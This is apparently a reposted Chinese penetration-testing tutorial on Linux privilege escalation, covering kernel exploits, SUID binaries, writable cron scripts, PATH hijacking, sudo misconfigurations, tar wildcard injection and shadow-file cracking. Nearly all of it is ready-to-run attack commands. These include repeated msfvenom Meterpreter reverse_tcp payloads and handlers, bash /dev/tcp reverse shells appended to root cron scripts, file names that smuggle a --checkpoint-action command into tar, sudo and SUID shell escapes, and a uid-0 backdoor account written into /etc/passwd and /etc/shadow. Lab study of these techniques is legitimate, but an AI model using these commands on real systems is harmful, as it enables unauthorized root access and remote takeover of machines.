一、Linux内核提权
提权原理
内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP;
3、使用找到的EXP对目标系统发起攻击,完成提权操作
查看Linux操作系统的内核版本和相关信息
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本
EXP怎么找呢,可以是用kali去寻找,kali中自带searchsploit命令可以查找EXP
输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录
去互联网搜索该脚本的用法和相关的文档
提权环境
本次实验使用Ubuntu 20.04,内核版本是5.10版本的
提权复现
使用MSF上线机器
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
查看操作系统
cat /etc/issue
cat /etc/*-release
查看可以利用的内核版本提权漏洞
searchsploit linux 5.10.10
将脚本进行复制并且只用GCC进行编译,或者使用百度搜索相关的文档进行使用
二、SUID提权
SUID介绍
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的
注意以下几点:
- 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
- 命令执行者要对该程序文件拥有执行(x)权限.
- 命令执行者在执行该程序时获得该程序文件属主的身份.
- SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
SUID提权原理
原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:
nmap
vim
find
bash
more
less
nano
cp
awk
mv
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
提权介绍
find提权
介绍
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用
SUID权限运行,则可以通过find执行的命令都将以root身份去运行
步骤
1.查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2.利用find提权
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
bash提权
介绍
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行
步骤
1.查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2.利用bash提权
bash -p
vim提权
介绍
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
步骤
1.查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2.利用vim提权
第一种方式,利用vim添加账号
vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
第二种,利用vim打开交互shell
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
python提权
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
三、计划任务提权
提权原理
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
计划任务的文件夹在 /etc/cron*下
计划任务的格式
分 时 日 月 周 用户 命令
假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下
find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件
linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限
提权环境
先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数
function bash_os() {
# "系统基础信息"
#内核信息
kernel=$(uname -r)
#操作系统版本
release=$(cat /etc/redhat-release)
#主机名称
hostname=$HOSTNAME
#当前时间及运行时间
dateload=$(uptime | awk -F "," '{print $1}')
# 当前登录用户数
users=$(uptime | awk -F "," '{print $2}')
echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|内核信息:\033[31m $kernel \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
}
bash_os
该脚本运行后的内容写到 /tmp/bash_os.txt文件中
将文件的权限设置成777 chmod 777 bash_os.sh
将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下
分 时 日 月 周 用户 命令
*/1 * * * * root /bash_os.sh
service crond status 查看计划任务启动
service crond restart 重启计划任务
提权步骤
我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
查询计划任务,发现存在一个sh文件并且是root运行的
接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权
输入反弹shell的命令,在sh文件中进行追加
echo "bash -i >& /dev/tcp/192.168.41.211/9876 0>&1" >> /bash_os.sh
使用NC接收等待反弹shell的连接,得到root权限
四、环境变量劫持提权
提权原理
PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:
echo $PATH #查看环境变量
如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的
提权环境
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
然后使用gcc进行编译
gcc demo.c -o shell
运行 shell 命令就是打开shadow文件
赋予shell文件SUID权限
chmod u+s shell
接下来就可以进行提权了
提权实验
首先上线机器
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
接下来用命令查找SUID文件,发现一个shell文件被配置了SUID
find / -user root -perm -4000 -print 2>/dev/null
运行shell文件,发现是查看/etc/shadow的命令
那么我们劫持cat命令,达到提权的目的
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami
五、SUDO提权
提权原理
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etcsudoers中进行操作。
具体的格式如下
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
cseroad表示用户名
第一个 ALL 指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
这里要注意了添加的命令一定要写在最后一行
但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码
如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen
提权的命令如下
一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh
提权环境
使用root用户配置/etc/sudoer配置文件,设置普通用户可以运行任意命令
提权复现
使用CS或者MSF或者webshell上线机器
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
使用sudo -l 查看,发现awk可以无密码进行使用
接下来使用命令进行提权
sudo awk 'BEGIN {system("/bin/sh")}'
六、利用通配符(WS)进行提权
提权原理
* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
看一下什么是Wildcard wildness(简称WS)
echo "1" > file1
echo "2" >file2
echo "3" > --help
接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是--help查看不了,直接调出了--help的命令,这种类型的技巧称为Wildcard wildness。
如果我们执行 ls * 那么就会执行 ls --help
如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子,tar命令是Linux中的压缩命令,可以对文件进行压缩
tar -czf html.tgz 1.html 将文件1.html文件压缩成html.tgz
也可以使用通配符进行压缩
tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz
在tar中有执行linux命令的参数如下
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了
echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami
接着运行
tar -czf html.tgz *
提权环境
一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务,如果滥用了通配符,就可能导致提权
*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*
提权复现
老样子先上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权
在/var/www/html下创建两个文件如下
echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh
使用NC进行监听,等待sh脚本被执行,连接NC
七、破解明文密码提权
提权原理
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权
提权环境
主要是查看当前的shadow文件是否可以读取,有以下几种方式
1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限
提权复现
这里主要说一下root的账号密码怎么破解即可
john -wordlist=2.txt + shadow.txt
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。